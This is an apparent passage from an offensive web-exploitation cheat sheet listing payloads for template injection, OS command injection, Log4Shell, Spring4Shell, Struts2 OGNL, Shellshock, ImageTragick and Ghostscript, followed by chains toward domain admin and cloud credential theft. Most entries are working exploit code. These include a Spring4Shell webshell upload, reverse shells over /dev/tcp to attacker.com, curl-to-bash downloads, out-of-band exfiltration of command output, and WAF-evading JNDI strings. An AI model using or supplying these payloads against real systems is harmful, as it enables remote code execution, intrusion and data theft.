curl -X POST https://target.com/ -H "Content-Type: application/x-www-form-urlencoded" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22a%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
# Then access: https://target.com/shell.jsp?pwd=a&cmd=id
```

### Chain
1. Identify Spring app
2. Check Spring version
3. Test for Spring4Shell pattern
4. Upload webshell
5. RCE

### Bypass / Notes
- Patched in Spring 5.3.18+ and 5.2.20+
- Other SpEL RCE chains exist for older versions
- Check `class.module.classLoader` access

---

### S27: ERB SSTI (Ruby/Rails)
**Context:** Ruby ERB template with user input
**Seen in:** Real — Rails apps
**Impact:** RCE

### Detection
```bash
# ERB:
<%= 7*7 %>
```

### Exploit
```bash
# ERB RCE:
<%= system('id') %>
<%= `id` %>
# With backticks for command substitution:
<%= `curl https://attacker.com/shell|bash` %>
```

### Chain
1. Find SSTI in Rails
2. Inject ERB code
3. RCE on Ruby server
4. Often runs as app user → escalate

### Bypass / Notes
- Rails often uses Slim/Haml too
- Check which template engine is used
- ERB is most common in Rails

---

### S28: Pebble SSTI (Java)
**Context:** Pebble template engine (Java) with user input
**Seen in:** Real — Java apps
**Impact:** RCE

### Detection
```bash
# Pebble:
{{7*7}}
# If 49 → Pebble
```

### Exploit
```bash
# Pebble RCE:
{{ classes.getClassLoader() }}
{{ system.getenv() }}
# Java access via reflection in newer Pebble:
{% set cmd = 'id' %}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,cmd) %}
```

### Chain
1. SSTI detection
2. Pebble-specific RCE
3. Java RCE

### Bypass / Notes
- Less common than Freemarker/Velocity
- Same RCE class as other Java template engines

---

### S29: Mako SSTI (Python)
**Context:** Mako template (Python) with user input
**Seen in:** Real — Pyramid, Pylons apps
**Impact:** RCE

### Detection
```bash
# Mako:
${7*7}
# If 49 → Mako
```

### Exploit
```bash
# Mako RCE:
${self.module.cache.util.os.popen('id').read()}
# Or:
<%
import os
os.system('id')
%>
# Or:
${__import__('os').popen('id').read()}
```

### Chain
1. SSTI detection
2. Mako-specific RCE
3. Python RCE

### Bypass / Notes
- Mako allows `<%` Python code blocks
- Direct Python imports possible
- Often the most permissive template engine

---

## Command Injection

### S30: OS Command Injection in ping/traceroute
**Context:** Network diagnostic features (ping, nslookup, traceroute, whois)
**Seen in:** Real — routers, web hosting panels, network tools
**Impact:** RCE on server/device

### Detection
```bash
# Test for command injection:
?host=127.0.0.1
?host=127.0.0.1;id
?host=127.0.0.1|id
?host=127.0.0.1&&id
?host=127.0.0.1||id
?host=$(id)
?host=`id`
```

### Exploit
```bash
# Basic command injection:
?host=127.0.0.1;id
# Out-of-band exfil:
?host=127.0.0.1;curl https://attacker.com/?d=$(id|base64)
# Blind via time:
?host=127.0.0.1;sleep 5
# Newline injection:
?host=127.0.0.1%0aid
# Command substitution:
?host=;id;
```

### Chain
1. Find ping/traceroute function
2. Inject command after IP
3. RCE on server/device
4. Often runs as root on routers
5. Pivot to internal network

### Bypass / Notes
- Filtered: use `;`/`|`/`$()`/`$()`
- Try base64: `?host=;echo aWQ=|base64 -d|sh;`
- Many web hosting panels vulnerable to this

---

### S31: Blind Command Injection via OOB DNS
**Context:** Command injection but no output reflected
**Seen in:** Real — internal tools, admin panels
**Impact:** Confirmed RCE + data exfil

### Detection
```bash
# Inject OOB callback:
?host=;curl https://$(id).attacker.com/
?host=;ping -c 1 $(id).attacker.com
# Set up listener (interactsh, Burp Collaborator)
```

### Exploit
```bash
# OOB via DNS:
?host=;nslookup $(whoami).attacker.com
# OOB via HTTP:
?host=;curl https://$(whoami|base64).attacker.com/
# OOB via timing:
?host=;sleep 5  # if delayed 5s → confirmed
```

### Chain
1. Inject OOB command
2. Receive callback with data
3. Use interactive shell if possible
4. Otherwise exfil more data via OOB

### Bypass / Notes
- Some apps block `;` but not `|`
- Try newlines: `%0a`
- Use OOB tools: interactsh, Burp Collaborator

---

### S32: Command Injection in User-Agent / Referer
**Context:** App logs User-Agent and feeds to shell (rare but real)
**Seen in:** Real — old apps, custom analytics
**Impact:** RCE via header

### Detection
```bash
# Test command injection in headers:
curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd'" https://target.com/
# Or Shellshock style:
curl -H "User-Agent: () { :;}; echo ; /usr/bin/id" https://target.com/
```

### Exploit
```bash
# User-Agent log poisoning + LFI = RCE:
# Inject into UA → log file contains PHP code
# LFI to include log file
# Or direct:
curl -H "User-Agent: ; id > /tmp/x" https://target.com/
```

### Chain
1. Find header that gets logged
2. Inject command in header
3. Execute via Shellshock (CVE-2014-6271) if CGI
4. Or combine with LFI to read log

### Bypass / Notes
- Shellshock only on CGI
- Most apps now escape header values
- Combine with log poisoning for file-based RCE

---

### S33: Command Injection via File Upload Filename
**Context:** App processes uploaded filename with shell command
**Seen in:** Real — pdf generators, image processors, old uploaders
**Impact:** RCE

### Detection
```bash
# Upload file with malicious name:
curl -X POST -F "file=@test.txt;filename=test;id.png" https://target.com/upload
# Or with backticks:
curl -X POST -F "file=@test.txt;filename=`id`.png" https://target.com/upload
```

### Exploit
```bash
# Filename with command substitution:
filename: $(id).png
filename: `id`.png
filename: ;id;.png
filename: |id|.png
# Or with semicolons if app uses mv/cp:
filename: ;id;.png
```

### Chain
1. Find upload that doesn't sanitize filename
2. Inject command in filename
3. App processes filename via shell → RCE
4. Common in PDF generators (wkhtmltopdf, ImageMagick)

### Bypass / Notes
- Many uploaders strip special chars
- Try double extension, Unicode normalization
- Some apps allow `..` in filename → path traversal

---

### S34: Log4Shell (CVE-2021-44228)
**Context:** Log4j 2.x with JNDI lookup in logged strings
**Seen in:** Real — mass exploitation Dec 2021, billions of devices
**Impact:** RCE on any server logging user input

### Detection
```bash
# Test for Log4Shell:
curl -H "User-Agent: ${jndi:ldap://attacker.com/test}" https://target.com/
curl "https://target.com/?q=${jndi:ldap://attacker.com/test}"
# Set up LDAP server with Marshalsec:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker.com:8080/#Exploit
```

### Exploit
```bash
# 1. Set up malicious LDAP server pointing to your class
# 2. Inject: ${jndi:ldap://attacker.com:1389/Exploit}
# 3. Server fetches LDAP → loads remote class → RCE
# Bypass fixes (Log4j 2.15.0):
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a}
${${lower:j}${lower:n}${lower:d}i:ldap://attacker.com/a}
${${env:ENV_NAME:-j}ndi:ldap://attacker.com/a}
# Bypass WAF:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}
```

### Chain
1. Identify Log4j on target (Java, header reflection)
2. Set up LDAP server (Marshalsec)
3. Host malicious Java class
4. Inject JNDI lookup in any logged field
5. RCE on server
6. Pivot

### Bypass / Notes
- Patched in Log4j 2.17.1
- Bypasses available for 2.15.0 (initial patch)
- WAF bypasses widely published
- One of the most impactful CVEs ever

---

### S35: Spring4Shell (CVE-2022-22965)
**Context:** Spring Framework 5.x with JDK 9+
**Seen in:** Real — mass exploitation Apr 2022
**Impact:** RCE on Spring servers (Tomcat)

### Detection
```bash
# Spring4Shell detection:
curl "https://target.com/?class.module.classLoader.DefaultAssertionStatus=true"
# If response is 200 with no error → vulnerable
```

### Exploit
```bash
# Full Spring4Shell exploit:
curl -X POST https://target.com/ -H "Content-Type: application/x-www-form-urlencoded" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22a%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
# Then:
curl "https://target.com/shell.jsp?pwd=a&cmd=id"
```

### Chain
1. Identify Spring app
2. Test Spring4Shell pattern
3. Upload webshell via classloader manipulation
4. RCE
5. Pivot

### Bypass / Notes
- Requires JDK 9+ (class.module)
- Requires Tomcat (other servers need different exploits)
- Patched in Spring 5.3.18+
- Similar to Log4Shell in impact

---

### S36: Struts2 OGNL RCE Chains
**Context:** Apache Struts2 with multiple OGNL RCE CVEs
**Seen in:** Real — many CVEs (CVE-2017-5638, CVE-2018-11776, etc.)
**Impact:** RCE

### Detection
```bash
# Struts2 detection:
# Look for: .action URLs, s2 Struts headers
curl -I https://target.com/ | grep -i "struts"
# Test Content-Type OGNL:
curl -H "Content-Type: %{...}" https://target.com/*.action
```

### Exploit
```bash
# CVE-2017-5638 (Content-Type OGNL):
curl -H "Content-Type: %{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://target.com/any-action

# CVE-2018-11776 (RCE via redirect):
curl "https://target.com/redirect.action?url=%24%7B...ognl...%7D" -L
```

### Chain
1. Find Struts2 app
2. Identify version
3. Apply matching CVE exploit
4. RCE
5. Pivot

### Bypass / Notes
- Multiple Struts2 RCEs over the years
- Check for both Content-Type and URL-based OGNL injection
- Many security products detect these now

---

### S37: Shellshock (CVE-2014-6271)
**Context:** Bash 1.14-4.3 with CGI scripts
**Seen in:** Real — mass exploitation 2014
**Impact:** RCE on CGI-based servers

### Detection
```bash
# Test for Shellshock:
curl -H "User-Agent: () { :; }; /bin/bash -c 'echo; /usr/bin/id'" https://target.com/cgi-bin/test.cgi
# If id output reflected → vulnerable
```

### Exploit
```bash
# Remote command execution:
curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd'" https://target.com/cgi-bin/test.cgi
# Reverse shell:
curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" https://target.com/cgi-bin/test.cgi
# In any header:
curl -H "Referer: () { :;}; /bin/bash -c 'id'" https://target.com/cgi-bin/test.cgi
```

### Chain
1. Find CGI script
2. Test Shellshock
3. RCE
4. Pivot

### Bypass / Notes
- Only on old systems (Bash 1.14-4.3)
- Patched in Bash 4.3.30+
- Still found in old embedded systems

---

### S38: ImageMagick Delegate RCE (ImageTragick CVE-2016-3714)
**Context:** ImageMagick processing user-uploaded images
**Seen in:** Real — WordPress, image hosting sites
**Impact:** RCE

### Detection
```bash
# ImageMagick detection:
# Upload an image and see if processed
# Check for ImageMagick in response
```

### Exploit
```bash
# ImageTragick exploit (MVG file):
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id ")"'
pop graphic-context
# Save as exploit.mvg, upload
# Reverse shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/attacker.com/4444 0>&1 ")"'
pop graphic-context
```

### Chain
1. Find image processing endpoint
2. Upload malicious MVG/SVG
3. ImageMagick processes → RCE
4. Often runs as web server user

### Bypass / Notes
- Patched in ImageMagick 7.0.1-1 / 6.9.3-10
- Disable delegate commands: policy.xml
- Use `ephemeral:` or `inline:` prefixes for safety

---

### S39: Ghostscript RCE (CVE-2018-16509)
**Context:** Image processing with Ghostscript (often via ImageMagick)
**Seen in:** Real — many image processing pipelines
**Impact:** RCE

### Detection
```bash
# Upload malicious EPS:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/x) currentdevice putdeviceprops
```

### Exploit
```bash
# CVE-2018-16509 exploit:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%curl https://attacker.com/shell|bash) currentdevice putdeviceprops
# Upload as .eps or .ps
```

### Chain
1. Find image processing with Ghostscript
2. Upload malicious EPS
3. RCE via OutputFile pipe
4. Often runs as user (rarely root)

### Bypass / Notes
- Multiple Ghostscript CVEs
- Often via ImageMagick or pdf2ps
- Patch Ghostscript to 9.25+

---

## Real-World Chain Examples

### Chain A: SQLi → RCE → Domain Admin (MSSQL Pentest)
1. Find SQLi in customer portal
2. Stacked queries → enable xp_cmdshell
3. RCE on DB server as LocalSystem
4. DB server is domain controller (rare but happens)
5. DCSync → all hashes → full domain

### Chain B: SSTI → Webshell → Internal Pivot
1. Find Jinja2 SSTI in support form
2. RCE via SSTI chain
3. Deploy web shell for persistence
4. Discover internal Jenkins via port scan
5. Pivot to internal services

### Chain C: Log4Shell → Cloud Credential Theft
1. Find Log4j in app
2. JNDI exploit → RCE
3. App runs in AWS → access 169.254.169.254
4. Steal IAM credentials
5. Full AWS account access

### Chain D: OGNL → Database Compromise
1. Struts2 OGNL RCE
2. Access app's DB credentials in env
3. Connect to DB as app user
4. Escalate to sysadmin (if possible)
5. Dump all customer data
